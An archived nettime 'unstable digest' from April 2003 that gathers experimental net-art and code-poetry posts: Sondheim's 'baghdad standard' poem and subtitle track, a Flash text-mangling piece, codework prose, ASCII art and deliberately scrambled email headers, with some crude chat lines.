\"\" ,. \"\" ,. \"\" ,. \"\" ,. \"\" ,. \"\" ,. \"\" ,. \"\"\n,. \"\" ,. \"\" ,. \"\" ,. \"\" ,. \"\" ,. \"\" ,. \"\" ,. \"\" ,. \"\" ,. \"\" ,. \"\" ,.\n\"\" ,. \"\" ,. \"\" ,. \"\" ,. \"\" ,. \"\" ,. \"\"=20\n\n[silentsprawl] ,. \"\" ,. \"\" ,. \"\" ,. \"\" ,. \"\" ,. \"\" ,. \"\" ,. \"\" ,. \"\"\n,. \"\" ,. \"\" ,. \"\" ,. \"\" ,. \"\" ,. \"\" ,. \"\" ,. \"\" ,. \"\" ,. \"\" ,. \"\" ,.\n\"\" ,. \"\" ,. \"\" ,. \"\" ,. \"\" ,. \"\" ,. \"\" ,. \"\" ,. \"\"=20\n\n[silentsprawl] ,. \"\" ,. \"\" ,. \"\" ,. \"\" ,. \"\" ,. \"\" ,. \"\" ,. \"\" ,. \"\"\n,. \"\" ,. \"\" ,. \"\" ,. \"\" ,. \"\" ,. \"\" ,. \"\" ,. \"\" ,. \"\" ,. \"\" ,. \"\" ,.\n\"\" ,. \"\" ,. \"\" ,. \"\" ,. \"\" ,. \"\" ,. \"\" ,. \"\" ,. \"\"=20\n\n[silentsprawl] ,. \"\" ,. \"\" ,. \"\" ,. \"\" ,. \"\" ,. \"\" ,. \"\" ,. \"\" ,. \"\"\n,. \"\" ,. \"\" ,. \"\" ,. \"\" ,. \"\" ,. \"\" ,. \"\" ,. \"\" ,. \"\" ,. \"\" ,. \"\" ,.\n\"\" ,. \"\" ,. \"\" ,. \"\" ,. \"\"=20\n\n[silentsprawl] ,. \"\" ,. \"\" ,. \"\" ,. \"\" ,. \"\" ,. \"\" ,. \"\" ,. \"\" ,. \"\"\n,. \"\" ,. \"\" ,. \"\" ,. \"\" ,. \"\" ,. \"\" ,. \"\" ,. \"\" ,. \"\" ,. \"\" ,. \"\" ,.\n\"\" ,. \"\" ,. \"\" ,. \"\" ,. \"\" ,. \"\" ,. \"\" ,. \"\" ,. \"\"=20\n\n[silentsprawl] ,. \"\"=20\n\n[radioattack] [dj1adam12] cause i'm your daddy bitch\n\n[radioattack] [dj1adam12] you got 2 needle dick\n\n[vargind] was?\n\n[utopiantheorist] Was war die Frage?\n\n\n-------------------------------------------------------------\n\n\n\n\n\n\n\n</fontfamily>=\n\n--Apple-Mail-5--884173175--\n\n\n\nDate:         Thu, 17 Apr 2003 01:49:43 -0400\nFrom: Alan Sondheim <sondheim {AT} PANIX.COM>\nSubject: baghdad standard\nTo: WRYTING-L {AT} LISTSERV.UTORONTO.CA\n\nbaghdad standard\n\n\n1\n\nbaghdad\nstandard\n\no\n\ngone\n\nworld\n\ntrading\n\nfours\n\nback\n\nto\n\nbottom\n\ntake\nit\n\ntop\n\nhat-back\n\nsticks\n\ngoing\n\nrim\n\nshot-bridge\n\nhorn\n\ndown\n\nhard\n\nshe\n\nsolos\n\nhe\n\nburns\n\nfives\n\nstone\nout\ncold\n\naround\n\nthem\n\nshe's\n\nsmoking\n\nblood's\n\nsaying\nnothing\n\nwailing\n\njust\n\nabout\n\nlike\n\nliving\n\nend\n\nlost\n\nall\n\nbad\nscene\n\nin\n\ndirty\njazz\n\nwas\n\nthere\n\ngot\n\nshot\n\non\n\nbeat\n-\n\nthat\n\ncutting\n\nsession\n\nway\n\nfor\n\nreal\n\nman\n\nyou\n\nshould\n\nhave\n\nseen\n\nfall -\n\n\n- 2\n\no\ngone\nworld\n\ntrading\nfours\n\nback\nto\nbottom\n\ntake it\ntop\nhat-back\nsticks\ngoing\n\nrim\nshot-bridge\n\nhorn\ndown\nhard\nshe\n\nsolos\nhe\n\nburns\nfives\n\nstone out cold\n\naround\nthem\n\nshe's\nsmoking\n\nblood's\nsaying nothing\n\nwailing\njust\nabout\n\nlike\nliving\nend\nlike lost\nit\nall\n\nbad scene\nin\ndirty in\njazz\nhard\nshe was\nin there\n\ngot\nshot\non\nbeat -\n\n- that\ncutting\nsession\n\nway\nfor\nreal\nman\n\nyou\nshould\nhave\n\nseen\nthem\nfall\n\n\n--\n\n\n\nDate:         Sun, 6 Apr 2003 11:16:22 EDT\nFrom: Towntrick {AT} AOL.COM\nSubject: Re: _DAx_\nTo: WRYTING-L {AT} LISTSERV.UTORONTO.CA\n\n\n\ncompatibility issues.  a while ago I started but didn't finish a project\nwhich aimed at an explicit set of rules to let certain known words co-exist\nin new words but not other known words.  so for example, there would be a set\nof signs to assert on the word\n\nb-l-in-king\n\nthe words 'blinking' 'link' 'linking' 'in' 'king' and 'in king'; but not\n'blink' or 'inking' or 'link in' (even though they're obviously there in\nanother way).  or to assert a different set of words and exclude a different\nset of words.  well, it got boring & cumbersome.\n\nbut I wonder, blinking into this word slaughter orgy surgery, how you've\nchosen among [] <> . : + _ ||, what sorts of systematism are in place, what\nsorts of struggles.  'bea[s]ts' seems to have a different logic to it than\nm[h]ounds.\n\nseems like there are semantic as well as musical modes in play . . .\n\n'So you have no frame of reference, Donny.  You're like a child who wanders\nin in the middle of a movie and wants to know--' (TBL\n)\n\nlove,\nJow\n\n\n\n\n\nDate:         Thu, 10 Apr 2003 11:01:52 EDT\nFrom: Towntrick {AT} AOL.COM\nSubject: Poem 6 (written with a better word processor)\nTo: WRYTING-L {AT} LISTSERV.UTORONTO.CA\n\nmyself on his hooked hands ll finger-fuck myself on f on his hoo n ll\nfinger-fuck myself on his hooked f on his hoo   myself\nproduces unease, dis-ease o-standard o-standard produces unease, dis-ease\nAll these people from TV shows who talk and talk on late-night, they're not\nwhat they seem  giant in stee  giant in stee All these people from TV shows\nwho talk and talk on late-night, they're not what they seem\nours so\ncutting through the sickly-sweet smell of plum dumplings O THE PROSODIC QUILT\nO THE PROSODIC QUILT cutting through the sickly-sweet smell of plum dumplings\n\nLater on, Daishin Nikuko climbed the mountain. al good. al good. Later on,\nDaishin Nikuko climbed the mountain.\nI should first have liked to be other people in order to know what I was not\nif\nsinging that the languages are no more mint if you should. mint if you\nshould. singing that the languages are no more mint if you should. mint if\nyou should. singing that the languages are no more\nst for st for eismol st for ed a  ch seismologist for a d logi ismologis\nwarm like an infant's slushy bowel movement ve,\n\nenough -- then, soon enough: \"ye think voting-theft, rights-theft, land water\ntheft, bone-and-marrow theft,everyday rape in america\nEverything is signal, everything is SCROLL :\na bird on the floor, fat, greetin & incensed --\nbits get mixed up in heaven, an thorn arm\n a bird on the floor, fat, greetin & incensed --\nbits get mixed up in heaven, an thorn arm\n  a bird on the floor, fat, greetin & incensed --\nbits get mixed up in heaven, an thorn arm\n a bird on the floor, fat, greetin & incensed --\nbits get mixed up in heaven, an thorn arm\n\nough a lizard   starfish slides through a  rfish slides throug hrough a\nlizard portal, a lizard portal,  starfish slides through a  hrough a lizard\nporta  a lizard portal,  starfish slides through a\namerican girl la  american girl laughed prim yogh amer an girl laughed   girl\nlaughed  girl laughed  girl laughed  yogh american girl laughed\n'interval':  Later on, Daishin Nikuko climbed the mountain.\nI should first have liked to be other people in order to know what I was not\nit! it! I should first have liked to be other people in order to know what I\nwas not it! it! I should first have liked to be other people in order to know\nwhat I was not\nThe computer flooded my body\n\n---\n\nthis thing is genius, lewis.\n\nlove,\nJow\n\n(now I want one that mezangles . . .)\n\n(if I get time I'm going to finish off a little shoot-'em-up game, in which\npower-ups are booby-trapped, civilians shoot you, killing certain enemies\nlowers your score, the controls change, the mission objectives don't\ncorrespond with the conditions for advancing or not, etc.)\n\n\n\n\n\n\nnettime unstable digest vol 43\nSat Apr 19 20:12:51 2003\n\n\nSubject: Do it now paragram , you'll be hot this summer (gmx)\n    From: Debbie Gelinas <Leoogwn {AT} anet.ne.jp>\n    To: <paragram {AT} gmx.net>\n\nSubject: KMSE 04.15.03\n    From: Kenric McDowell <kenricm {AT} mindspring.com>\n    To: kenric {AT} artslut.org\n\nSubject: baghdad standard\n    From: Alan Sondheim <sondheim {AT} PANIX.COM>\n    To: WRYTING-L {AT} LISTSERV.UTORONTO.CA\n\nSubject: Re: _DAx_\n    From: Towntrick {AT} AOL.COM\n    To: WRYTING-L {AT} LISTSERV.UTORONTO.CA\n\nSubject: Poem 6 (written with a better word processor)\n    From: Towntrick {AT} AOL.COM\n    To: WRYTING-L {AT} LISTSERV.UTORONTO.CA\n\n\n\nlurking editors\n\nbeatrice beaubien <i2eye {AT} mac.com>\n    7-11 nettime-bold thingist \nflorian cramer <cantsin {AT} zedat.fu-berlin.de>\n    7-11 _arc.hive_ eu-gene o-o rhizome rohrpost webartery wryting \nalan sondheim <sondheim {AT} panix.com>\n    7-11 _arc.hive_ poetics siratori trAce webartery wryting \n$Id: digestunstable.pl,v 1.13 2003/01/26 18:51:21 paragram Exp $\n\n#  distributed via <nettime>: no commercial use without permission\n#  <nettime> is a moderated mailing list for net criticism,\n#  collaborative text filtering and cultural politics of the nets\n#  more info: majordomo {AT} bbs.thing.net and \"info nettime-l\" in the msg body\n#  archive: http://www.nettime.org contact: nettime {AT} bbs.thing.net\n\n",
                "date": "Sun, 20 Apr 2003 13:21:47 +0200",
                "to": "Nettime <nettime-l {AT} bbs.thing.net>",
                "message-id": "200304201747.h3KHliH30359 {AT} bbs.thing.net",
                "url": "https://nettime.org/Lists-Archives/nettime-l-0304/msg00082.html",
                "list": "nettime_l",
                "author_name": "Florian Cramer",
                "subject": "<nettime> unstable digest vol 43"
            },
            {
                "content-type": "text/plai",
                "from": "lorian Cramer <cantsin {AT} zedat.fu-berlin.de>",
                "id": "00064",
                "content": "\nDate:         Thu, 10 Apr 2003 07:15:18 -0700\nFrom: kernel32 <llacook {AT} YAHOO.COM>\nSubject: Alan Sondheim Web Mix\nTo: WRYTING-L {AT} LISTSERV.UTORONTO.CA\n\n\nhttp://www.lewislacook.com/alanSondheim/\n\nFlash 6\n\nspeakers on\n\nA month or so ago Alan mentioned to me that he had once written a text\neditor that was designed to \"frustrate\" the writing of the user. This\neditor would transform the user's writing as the user enetered text. I\nthought it was an ingenious concept for a piece: a work that combined\nthe networking possibilities of user input and transformation...a work\nthat would literally change what the user invested in the object...So I\nset about making an approximation of what Alan was talking about.\n\nThis is the web mix of that idea. A full blown piece of software based\non this concept is still in the works (I'm writing THAT one in C++), but\nthis Flash version combines that concept with some multimedia ideas. To\nuse it, simply enter text in the blue box. Every time you press enter,\nyour text will change; sometimes it will be replaced by a line from some\nof Alan's writing, sometimes it will spatter your text in asemic strings\nacross the box, sometimes your text will simply disappear, and sometimes\na combination of these will happen. I doubt that this work is anywhere\nnear as capable as Alan's original program, but it seems to me to be a\nworthy web amusement.\n\nThere are four different background music sequences, and these load when\nthis page loads. Revisit to hear them all.\n\nThe film loop is Alan's: I altered it, but it can be\nfound in its original form on Alan's Internet Text site\n(http://www.anu.edu.au/english/internet_txt/).\n\n\n\n\n\n\nhttp://www.lewislacook.com/\nnet art review: http://www.netartreview.net/\ntubulence artist studio:  http://turbulence.org/studios/lacook/index.html\nfurtherfield: http://www.furtherfield.org/home.html\n\n\n\n\n---------------------------------\nDo you Yahoo!?\nYahoo! Tax Center - File online, calculators, forms, and more\n\n\n\nFrom: pascale gustin <gustin.pascale {AT} free.fr>\nTo: _arc.hive_ {AT} lm.va.com.au, 7-11 {AT} mail.ljudmila.org\nSubject: evol\nDate: Sun, 06 Apr 2003 21:12:38 +0200\n\n\n     /usr/     \\\n     /usr/        \\\n     /usr/        \\\n     /usr/       \\\n                               \\\n     /usr/include/          \\\n     /usr/include/        \\\n     /usr/include/        \\\n     /usr/include/        \\\n                               \\\n     /usr/local/    \\\n     /usr/local/  \\\n     /usr/local/  \\\n     /usr/local/  \\\n                               \\\n     /usr/local/    \\\n     /usr/local/  \\\n     /usr/local/  \\\n     /usr/local/  \\\n\n\n    /evol/ve\n  r /evol/ve r\n  r /evol/ution/ve r\n    /ev          e r\n  r /eve           r\n\n\n     /usr/                     \\\n     /usr/                     \\\n     /usr/                     \\\n                      \\\n     /usr/            \\\n     /usr/               \\\n     /usr/             \\\n     /usr/              \\\n     /usr/local/               \\\n     /usr/                     \\\n                   \\\n     /usr/                 \\\n     /usr/                \\\n\n\n\n\n\n\n\n-- \npasc {AT} csaq\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\nDate:         Wed, 9 Apr 2003 18:07:25 +1000\nFrom: mez <netwurker {AT} HOTKEY.NET.AU>\nSubject: _Visual Detailing is the New Word Order_\nTo: WRYTING-L {AT} LISTSERV.UTORONTO.CA\n\n_Writing software_ should be treated as a creative activity. Just think \nabout it -- the software that's --\n-pro][rating][.logical.txt\n\n\u0085\n\n*one moment*\n\n-\n-\n-\n_sparks of  buy.o][logic][pop][n.cultured][_\n1. Of or relating to an excessive number of languages.\n1. One who speaks or writes too many languages.\n\nA metaphor can telescope several sentences, or even whole paragraphs of \ninformation into one\nA. adj. Think about building things that have been built before. People \nsay, \"Well, how come we can't build Ada Lovelace\u0094?\n\nAll of the language economizing strategies of Meta Speech lightens \ncognitive operatives making it Borgian, bridges that they're building, etc.\n\nChoose||match.\n#!/bin/perl.\n\nChoose a bloody obscure Code Poetry that transposes this hidden universe of \nlanguage into something to read, instead of Computer languages that are a \nproduct of the mind that often surpasses the abilities of the mind to \ndecode.pl. Its easier for the mind to fulfill unconscious communicative \npurposes. By lightening tasks through encode.pl every bridge is like some \nother bridge that's been built. They can know the category for an automated \nprocess. What I do is take the output from encode.pl and put it into a file\nhttp://www.hotkey.net.au/~netwurker/txts\nand incorporate decode.pl into the program. Note that this is interesting \nto make - software that hasn't been made before. In Most other engineering \ndisciplines language has incorporated in its written form & for which oral \nlanguage has no pronunciation or memory.\n\nIn Meta Speech language economy, the mind is therefore given some respite. \nLikewise, rest assist metaphors are often used similarly for language \neconomy. Think maiming conventions and library paths longer than the \nprogram text, golf, or JAPHs. Choose no polygluts, a. and n, or porpoise \nnoises down a ticking phone.\n\nPower realities are programming languages that are hidden beneath its \nrepresentation.\n\nYou are a regular expression freak.\n\nSite Navigation is something to be executed. But are you machine enough to \ninterpret it?\nSource[CODE] writers are obsessed by the power, the possibilities & the \nalienating beauty of the\nsuggestion of natural languages. These are recognisable in the syntax in \ncommands like GO TO or IF then; they are marked as readable by only the \nuser that runs the program that needs the data, and THEN. But they are just \na small exception among a wide variety of symbols that no other natural \nperl script needs. these can be used for obscuring some information that \nneeds to be read over thousands of years, and while we can make incremental \nimprovements to bridges, the fact is that we don\u0092t understand them; to \nsoften up this difficult relationship programmers have warped their code.\n\nIn oral tradition story memorization, Visual deta[prof]iling is in [New \nWord] Order. \n\n\n\nFrom: Alan Sondheim <sondheim {AT} panix.com>\nTo: _arc.hive_ {AT} lm.va.com.au\nSubject: 1/2 coupled baghdad2.mov for epoetry 2003\nDate: Tue, 8 Apr 2003 08:43:11 -0400 (EDT)\n\n\n\n\n1/2 coupled baghdad2.mov for epoetry 2003\n\n\n{QTtext}{font:Geneva}{plain}{anti-alias:on}{size:24}{textColor: 65535,\n65535, 65535}{backColor: 0, 0, 0}{justify:center}{timeScale:600}\n{width:400}{height:90}{timeStamps:absolute}{language:0}{textEncoding:0}\n[00:00:00.000]\nyou are very welcome\n[00:00:04.000]\nfor having me\n[00:00:08.000]\n<>\n[00:00:12.000]\nwe are waiting\n[00:00:16.000]\nthe latest news\n[00:00:20.000]\n<>\n[00:00:24.000]\nfrom Baghdad\n[00:00:28.000]\n<>\n[00:00:32.000]\nhave you heard\n[00:00:36.000]\nthe one about\n[00:00:40.000]\n<> <>\n[00:00:44.000]\nlanguage cannot do\n[00:00:48.000]\njustice\n[00:00:52.000]\n<>\n[00:00:56.000]\nto your face\n[00:01:00.000]\n<> <>\n[00:01:04.000]\nfriends, in these darkest hours\n[00:01:08.000]\nwe must\n[00:01:12.000]\n<>\n[00:01:16.000]\nwe must\n[00:01:20.000]\n<> <>\n[00:01:24.000]\nlove raises\n[00:01:28.000]\nthe angry red flag\n[00:01:32.000]\nlove raises\n[00:01:36.000]\nthe black flag of anarchy\n[00:01:40.000]\n<>\n[00:01:44.000]\nthis is no joking\n[00:01:48.000]\nmatter\n[00:01:52.000]\n<> <>\n[00:01:56.000]\ntremendous foolishness\n[00:02:00.000]\nthe skin of the face\n[00:02:04.000]\nof evil\n[00:02:08.000]\n<> <>\n[00:02:12.000]\ntremendous violation\n[00:02:16.000]\nthe tattered threads\n[00:02:20.000]\nof liberty\n[00:02:24.000]\n<> <>\n[00:02:28.000]\ntremendous fury\n[00:02:32.000]\nof our hidden enemies\n[00:02:36.000]\n<>\n[00:02:40.000]\nwho can say\n[00:02:44.000]\n<>\n[00:02:48.000]\nwhich of us are\n[00:02:52.000]\nfriends\n[00:02:56.000]\nwhich of us are\n[00:03:00.000]\nenemies\n[00:03:04.000]\n<> <>\n[00:03:08.000]\nno one knows the days\n[00:03:12.000]\nof slaughter\n[00:03:16.000]\n<>\n[00:03:20.000]\nthe apocalypse\n[00:03:24.000]\nof freedom\n[00:03:28.000]\n<>\n[00:03:32.000]\nterrible impositions\n[00:03:36.000]\nfrom above\n[00:03:40.000]\nfrom below\n[00:03:44.000]\n<>\n[00:03:48.000]\nas from above\n[00:03:52.000]\nso from below\n[00:03:56.000]\n<>\n[00:04:00.000]\nas from below\n[00:04:04.000]\nso from above\n[00:04:08.000]\n<> <>\n[00:04:12.000]\nthe darkest days\n[00:04:16.000]\nand darkest nights\n[00:04:20.000]\nrolling on\n[00:04:24.000]\n<>\n[00:04:28.000]\ncontinuing without\n[00:04:32.000]\nrhyme or reason\n[00:04:36.000]\n<>\n[00:04:40.000]\ncontinuing without\n[00:04:44.000]\nmetric or metre\n[00:04:48.000]\n<> <>\n[00:04:52.000]\nyou can meet her\n[00:04:56.000]\n<>\n[00:05:00.000]\nin the alley\n[00:05:04.000]\n<>\n[00:05:08.000]\nyou can meet her\n[00:05:12.000]\n<>\n[00:05:16.000]\nin the park\n[00:05:20.000]\n<>\n[00:05:24.000]\nbut the best place\n[00:05:28.000]\nto meet her\n[00:05:32.000]\n<>\n[00:05:36.000]\nis to meet her\n[00:05:40.000]\n<> <>\n[00:05:44.000]\nher name is MOAB MOAB\n[00:05:48.000]\n<>\n[00:05:52.000]\nmy name is DINGIR-LUM\n[00:05:56.000]\n<>\n[00:06:00.000]\nyou are very welcome\n[00:06:04.000]\nfor having us\n[00:06:08.000]\n<>\n[00:06:12.000]\n\n\n===\n\n\nDate: Sat, 05 Apr 2003 19:46:09 +0200\nFrom: +   lo_y.  + <loy {AT} myrealbox.com>\nTo: syndicate {AT} anart.no\nSubject: Re:  Language is Your Enemy\n\n\nAt 19:30 04/04/03 -0500, Alan Sondheim redet:\n\n\n>Language is Your Enemy\n\nyxlYstfd #t  ijp  wace\n\n  yht #j 8  ymytpw #c  tlYsjfd  tY  ur y03606\n303 0aoj\n  iof4aiyt4yjbx\n  pj  ej   wjix  jtp  fibtfnn #c  paxw4cifxYmY\nxY  xcfdjwmmg  tswyem\n6tlYsyfd 8lY  poi   yi 8tw  sxdtYlniY 4aY  jYteiwstfm   tj #aed\n1etahiYyj #aed #nxahiYtw  tj #i  txfi #c  jjt #i  fiw   sidyYlf\n  fiw\ntj  sidyYlf 4aY  sfia #c  tnipelYytYy 8tw  vbiY 8j  yt  dwdtYlf\n  tw  yy  wwftahiY 8mj 4aY  rlmutw  it  wetgniY 8mt  jtp  jyjyYxw 8b  wyrc\n  iofy  yYxw 8b  tlY  eiat   wean =bay  ejahiY 8y  wlsv  xht 4aY  xnYdy\n,c  wean   tw  jj #i 8  ijx #c  alnjw #j  tyaywji  tt  tgd  ijp\n  xyptw  typ  tip  yyp  xibm  ttpyl  ji  wfn  tw  jy  ytgYdd #i 4aY\n  jiacj   tw  t #i  yoltpYnn  ey  vnhiY  tal  txycna4  sivpadbiY\n  tY  ur  x03102\n303\n\n6tlYsjfd #j  tjp  wace\n  xhy 8  imjtpw #c  tY  ur i03606\n303 0aot\n  xof4ayyy4yjbj\n  pt  et   wtty  fibifnn  payw4cjfxYmY\njY  ycfdtwmmg  yswxem\n  lY  poi   xy 8jw  sxdtYlniY 4aY  tYteywstfm #aed\n1ejahiYjy #nyahiYtw #i  jjft  tyi  fiw  sidxYlf\n  fiw\nty  sfja  ynjpelYiyYj  vbiY 8i  dwdiYlf  tw  wwfjahiY 8mi  rlmutw\n4wejgniY  jyxiYtw 8b  wjrc\n  xoft  xYyw  jlY  eiay  wean =bax  etahiY 8y  wlsv  tnYdt\n  xyy  alnjw #t  xtaxwty  jgd  yxptw  tjp  yibm  yjpyl  wfn  txgYdd\n  jtact  t  yoltpYnn  ei  vnhiY  tal  xticna4  syvpadbiY\nj=2=91\n\n\nt#####################################\ni##########################################\nx##############################################\ny######################################### ###\nt######################################### ###\ny########################################## ###\ni#########################################\ni#########################################\nj##########################################\nj##########################################\ny###########################################\ny##########################################\n                               #########################################\n                                  #################################\n                                       ########################\n                                           ###############\n                                                ##############\n                                                     ##############\n                                                          ##############\n\ny###############\nj###############\ny###############\nt###############\ni############### ###\nt############### ###\nx############### ###\nt####################\nt###############\nt##########\ny######\nt###\nt###\nt###\ni###\n\n\n==\n==\n\n\n------------------------------------------------------------\n--------------lo--------------------------------------------\n                       -\n-----------------------y------------------------------------\n------------------------------------------------------------\n-------------PTRz:\nhttp://www.socialfiction.org/scrabble\nhttp://rhizome.org/object.rhiz?5852\nhttp://trace.ntu.ac.uk/incubation/gallery.cfm\nwww.muse-apprentice-guild.com\nhttp://www.krikri.be/poeuk.html\nhttp://www.google.com/search?q=lo_y\n------------------------------------------------------------\n------------------------------------------------------------\n\n\n\n\nTo: 7-11 {AT} mail.ljudmila.org,_arc.hive_ {AT} lm.va.com.au,audiovision {AT} egroups.com,\nFrom: \".par.sell.\" <netwurker {AT} hotkey.net.au>\nSubject: _DAx_\nDate: Sun, 06 Apr 2003 16:01:40 +1000\n\n\n\n\n_____________________________________________________\n_Digital Affect[.ion] xtract[.ion]_\n\n\n\n::cracked crys.tall.ine bea[s]ts\n________________\n::men[iscus_heart] plucking via broken bag.ga[u]ges\n_____\n::toffee_leaking eyes + modal<head>\n__________\n::butter hands creased [chrono(scopic)]logically\n____\n::[man]Dal[a]i shrin.cages + silence m[h]ounds||shrink_[psycho w]rapped + \ntender b[rown]andaging\n______________________\n\n\n.\n.whis.purred time par.$elling.\n.\n_____\n\n\n\n\n\n- pro][rating][.lucid.txt\n-\n-\n\nhttp://www.hotkey.net.au/~netwurker/txts\n_\n_men[iscus_heart] plucking via broken bag.ga[u]ges_\n\n\n\nDate: Tue, 08 Apr 2003 22:08:57 +0100\nFrom: jumpy <8088234 {AT} invisible.gq.nu>\nTo: syndicate {AT} anart.no\nSubject: <no subject>\n\n\n\nReturn-path: <syndicate-owner {AT} anayt.no>\nReceived: from mail.freesorvers.yom (awsmail.aboutws.com\n    [208.185.127.160]) byopop.coymunityarchitect.com (v1.100) with ESMTP\nid                       $$$$$$y$$$$$$$$$\n    (0D4669A40A3E4BE4); Tuoo 8 ypr 2003 13:05:46 -0600\nReceived: zrom anart.no (anootyno [195z159.18.66]) by\nmail.freeszzvers.com     ooo y  XX   zz\n    (Postfixzzwith ESMTPoid$********XXXXXX$$$$$$Apr 2003 13:05:26 -0600\n(MDT)         zzzz$$$$$$$$$**o X  oz     X\nReceived: $$$$m syzpa {AT} oocXXX*************XXXXXXXXXXXX8.11.6) id\n    h38Joo$$$$$0;_________|________\"\"\"\"\"\"\"\"+0200     XX\nX-Authenoicatio$$$|\"*iog|*ynart.oz:osym*a \"\"\"\"\"\"\"\"\"\"\"tX *\nsyndicato-owner {AT} aX|\"*$o |zz|*zz| * |  *|     |  * | \" X|*\n    artono using X|\"*o$$|y$|*  |z*o|  *|    *|  **|   X|\nReceizod: from maX|\"*ote|\"a|*.h|\"*z|zl*|nter*|re.*| [1X|.70.32.130]) by\n    azort.no (8.1X||*8.y|\"6|*$|$\"*o|Mz*|id **|J4j*|675X|foo\n    <zondicate {AT} anX||*noy|\"T|*,|z\"*$| *\"|zzz*\"|4:\"||+02X| oo\nReceizod: from caX||*s-y|\"9|*d|l\"*o|$*\"|$$.*\"|zz\"|3.17X|1o1.63]\n    hzoo=3DToshiba)X||*my||\"i|*e|w\"*e|h*\"|it$*\"|tp\"|zximX|.o3 #1 (Debian))\nid   zo           X|*y |*\" |* | \"* | *\"|   *\"|$$$| zzzX|*o\n    1zzyOj-0000qi-||*yo|*<s|*z|c\"*e|a*\"|t.n*\"| Tu|$ 08X|*zzz003 21:04:45\n+0200zz          o||*y |*  |*z| \"* | *\"|o  *\"|   | $$$X|*   zzz\nFromz znna balinto||*is|*\"a|*z|f\"*e|a*\"|ou>*\"|  *|zzzzX|*zzzzzzzz\nTo:zsyozicate {AT} anzo||*o |*\"|| z| \"* | *\"|zzz*\"|zz*|    X|* $$$$$$$\nDaze: oze, 08 Apz ||*3 |*\"|*:z|z*zz|z*\" |  *\"|  |\"    X|*        $\nX-zrioozty: 3 (Nzr||*) |*\"|*zz| *o | *\" |  * |  |\"    X|o         $$$$$$\nRzply-ooz epistoza||* {AT} f|*\"|*iz|h*o | *\" |  * |  |\"    X|o              $\nIz-RepoyzTo: <04oz||*zz|*\"|**z|8*o||e*\"a|6*e {AT} |zt|\"7578X|o              $\nMzssago-zd: <LINoz||*UQ|*\"|S*z|N*o|HY*\"$|$*$$|z$|\"$$$$X|$$$$$$$$$$$$$$$$\nzIME-Vorzion$$$$$z||*$$|*\"|$*||$*$$|$*\" | *  |  |\"   XX|o              $\nz-Maileoz Opera yo||*bu|*\"|z|40 *o |  *  |*  |  |\"    *|o              $\nz-Loop:oszndicatyo||*rt|*\"|z*   *o |  *  |** |  *|\"   *|o\nz-Sequeocz: oo64y ||*  | *|z*   \"*$|  *  | * |  *|\"   *|o\nzrrors-Toz syodyca||*ow|e*|z*art\"*$|  *  | * |  *|\"   *|\nzrecedenoz: losy  ||*$   **z**  \"*$|  *  | * |  *|    X|\nz-no-arcoz$$: oyso||**   \" zz*   \" |  *  | * |  *|    X|\nzist-Id:o<zy$$$yoo||\"***t\"nzz*   \" |  \"  | * |  *|*** X|\nzist-Helpoz<maiy$$$X\"zp****azt.XXXX|XXXXX|X*lz> *|*XXXXo\nzist-Subsczibe:yom=BAXXX*******XXna\"$.|o?su|******X|scribo%20syndicate>\nzist-Unsubozriyo:$=BA=BA=BA=BA=BA   zz$*******|*****   z   |   =BA=BA=BA=BA\nzmailto:symza {AT} yoa$t.nz?=BA=BA=BA=BA=BA=BA=BA=BA=BAns$b|$ribe%20zyn=BA=BA=BA=\n=BA=BAe>o\nzist-Post: zmayo$oosyzdicztz {AT} ana=BA=BA=BA=BA=BA=BA=BA=BA=BA=BA=BA=BA=BA=BA=\n=BA=BA       o\nLzst-Owner:z<myo$tooszndizaze-reqo$s| {AT} anart.nz>$$$$$$$$$$\nLzst-Archivzoo<o$tp:ozanaztzno/sym$a|arc/syndzcate>     o$\nSzbject: [sznoi$ate]oze: zezia For$m|of the MzFF        o $$$$$$$$\nCzntent-typz: $oltipazo/mzxzd; bou$d|ry=3D\"----z-----=3D_104o828688-62$$$$$=\n$\n z         z  $oo     zo z        $ |        z          o              $\nTzis is a mzl$iooart mzoszge in MIM$|format..z          o              $\n  z         $  o      z oz         $|        z          o              $\n--z---------$_1o4982868zoz26-7     $|        z          o\nCoztent-Typ$: toxt/plaiz;zcharset=3D\"$|ndows-12z2\"        o             $$\n  z       $    o       z zo         |        z          o       $$$$$$\n> z      $     o       z zo          $       z          o   $$$$\n> z     $      o        zzCoLL FOR EN$RIES - z EVERYBODY$$$$\n  z    $       o        zz o         $       z         $o\n  z   $        o         z o          $      z    $$$$$\n>z Tr$sh aestheoics      zzo          $    $$z$$$$\n>z Tr$sh ideolooy        z zo          $  $  z\n>z T$ash technooogy      z zo       $$$$$$   z\n z $           o         z  z$$$$$$$    $    z\n   $           o         z  $z           $   z\nSo$e of you havo been $$$z$$ zrevious tra$h azt event in Moscow,\ni $on't remembeo$$$$$$id z noozparticipat$ az that time, it a long time\nf$vourite topic$of mine. z   o z          $ z\nB$t now i wi$$$opply anyzay wothza lecture.$z\n$ would$$$$$leaoed to cozlabooatezwith synd$zalists on a project\n$s w$$$ to applo. Is anyzody interzsted in $zis topic?\n               o        z          z        z\ngreetings,     o        z           zz\nanna balint    o       z             zz\n               o       z              z\n               o       z\n               o       z\n               o       z\n------------=3D_1049828688-626-7\nContent-Disposition: inline; filename=3D\"message-footer.txt\"\n\n\n\nDate: Mon, 07 Apr 2003 22:12:47 +0100\nFrom: \"jumpy\" <8088234 {AT} invisible.gq.nu>\nTo: syndicate {AT} anart.no\nSubject: elegy for flowers\n\n\n------------=_1049749832-645-504\n\n\n\n:::::::::::::::::::::::::::::::::::::::::                  ::::: ::::: : : :\n::: :::::::::::::: :::::::::::                         :: :       :::: :: ::\n::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::\n:::::::::::::::::::::::::::    ::::::::::::::::::: ::::::::::::::::::::::::\n::::::::::::::::::::::::::::    ::::::::::::::::     :::::::::::::::::::::\n::::::::::::::::::::::::::::::::::::::::::::::::::   :::::::::::::::::::::::\n::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::\n::::::::::::::::::::::::::::::::::::::    ::::::::::::::::::::::::::::::::::\n::::::::::::::::::::::::::::::::::::::::   :::::::::::::::::::::::::::::::::\n\n------------=_1049749832-645-504\nContent-Disposition: inline; filename=\"message-footer.txt\"\n\n\n-----Syndicate mailinglist-----------------------\nSyndicate network for media culture and media art\ninformation and archive: http://anart.no/~syndicate\nto post to the Syndicate list: <syndicate {AT} anart.no>\nShake the KKnut: http://anart.no/~syndicate/KKnut\nno commercial use of the texts without permission\n------------=_1049749832-645-504--\n\n\n\nDate: Sat, 5 Apr 2003 11:52:11 